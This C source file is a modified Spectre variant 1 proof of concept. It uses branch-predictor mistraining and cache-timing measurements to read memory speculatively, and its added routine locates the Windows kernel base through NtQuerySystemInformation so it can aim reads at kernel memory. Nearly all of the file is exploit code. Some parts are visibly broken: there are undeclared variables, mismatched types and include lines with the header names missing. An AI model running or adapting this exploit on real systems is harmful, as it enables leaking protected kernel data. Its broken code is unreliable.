#pragma warning(disable:4996) // sleep prob #include #include #include #ifdef _MSC_VER #include /* for rdtscp and clflush */ #include #pragma optimize("gt", on) #else #include /* for rdtscp and clflush */ #endif typedef unsigned long(*NT_NtQuerySystemInformation)( _In_ ULONG SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength ); NT_NtQuerySystemInformation NtQuerySystemInformation; #define STATUS_INFO_LENGTH_MISMATCH 0xc0000004 // error code typedef struct _RTL_PROCESS_MODULE_INFORMATION { HANDLE Section; PVOID MappedBase; PVOID ImageBase; ULONG ImageSize; ULONG Flags; USHORT LoadOrderIndex; USHORT InitOrderIndex; USHORT LoadCount; USHORT OffsetToFileName; UCHAR FullPathName[256]; } RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION; typedef struct _RTL_PROCESS_MODULES { ULONG NumberOfModules; RTL_PROCESS_MODULE_INFORMATION Modules[1]; } RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES; int s_strcmp(const char *string1, const char *string2) { char char1, char2; if ( string1==string2 ) return 0; if ( string1==0 ) return -1; if ( string2==0 ) return 1; do { char1 = *string1; char2 = *string2; string1++; string2++; } while ( (char1 != 0) && (char1 == char2) ); return (int)(char1 - char2); } void* KERNELBASE() { PRTL_PROCESS_MODULES ModuleInfo = 0; ULONG ReturnLen = 1024; ULONG error = 0; void* KernelBase = 0; NtQuerySystemInformation = (NT_NtQuerySystemInformation)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation"); if (!NtQuerySystemInformation){ return 0; } do { Modules = (ModuleInfo)VirtualAlloc(NULL, retLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); error = NtQuerySystemInformation(0x0B, Modules, ReturnLen, &ReturnLen); if ((error == STATUS_INFO_LENGTH_MISMATCH) && Modules) { VirtualFree(Modules, 0, MEM_RELEASE); } } while (error == STATUS_INFO_LENGTH_MISMATCH); if (error != 0) { VirtualFree(Modules, 0, MEM_RELEASE); return 0; } for (; error < Modules->NumberOfModules; ++error) { if (!s_strcmp((const char*)Modules->Modules[error].FullPathName + Modules->Modules[error].OffsetToFileName, "ntoskrnl.exe")) { KernelBase = Modules->Modules[error].ImageBase; break; } } return KernelBase; } /******************************************************************** Victim code. ********************************************************************/ unsigned int array1_size = 16; uint8_t unused1[64]; uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 }; uint8_t unused2[64]; uint8_t array2[256 * 512]; char *secret = "The Magic Words are Squeamish Ossifrage."; uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */ void victim_function(size_t x) { if (x < array1_size) { temp &= array2[array1[x] * 512]; } } /******************************************************************** Analysis code ********************************************************************/ #define CACHE_HIT_THRESHOLD 80 /* assume cache hit if time <= threshold */ /* Report best guess in value[0] and runner-up in value[1] */ void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) { static unsigned long long results[256]; int tries, i, j, k, mix_i, junk = 0; size_t training_x, x; register uint64_t time1, time2; volatile uint8_t *addr; for (i = 0; i < 256; i++) results[i] = 0; for (tries = 999; tries > 0; tries--) { /* Flush array2[256*(0..255)] from cache */ for (i = 0; i < 256; i++) _mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction */ /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */ training_x = tries % array1_size; for (j = 29; j >= 0; j--) { _mm_clflush(&array1_size); for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */ /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */ /* Avoid jumps in case those tip off the branch predictor */ x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */ x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */ x = training_x ^ (x & (malicious_x ^ training_x)); /* Call the victim! */ victim_function(x); } /* Time reads. Order is lightly mixed up to prevent stride prediction */ for (i = 0; i < 256; i++) { mix_i = ((i * 167) + 13) & 255; addr = &array2[mix_i * 512]; time1 = __rdtscp((unsigned int*)&junk); /* READ TIMER */ junk = *addr; /* MEMORY ACCESS TO TIME */ time2 = __rdtscp((unsigned int*)&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */ if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size]) results[mix_i]++; /* cache hit - add +1 to score for this value */ } /* Locate highest & second-highest results results tallies in j/k */ j = k = -1; for (i = 0; i < 256; i++) { if (j < 0 || results[i] >= results[j]) { k = j; j = i; } else if (k < 0 || results[i] >= results[k]) { k = i; } } if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0)) break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */ } results[0] ^= junk; /* use junk so code above won’t get optimized out*/ value[0] = (uint8_t)j; score[0] = results[j]; value[1] = (uint8_t)k; score[1] = results[k]; } int main(int argc, const char **argv) { size_t malicious_x = (size_t)(secret - (char*)array1); /* default for malicious_x */ int i, score[2], len = 40; uint8_t value[2]; for (i = 0; i < sizeof(array2); i++) array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */ malicious_x = ((unsigned long long)KERNELBASE() - (unsigned long long)array1); printf("Reading %d bytes:\n", len); while (--len >= 0) { printf("Reading at malicious_x = %p... ", (void*)malicious_x); readMemoryByte(malicious_x++, value, score); printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear")); printf("0x%02X='%c' score=%d ", value[0], (value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]); if (score[1] > 0) printf("(second best: 0x%02X score=%d)", value[1], score[1]); printf("\n"); } getchar(); // shit sleep return (0); }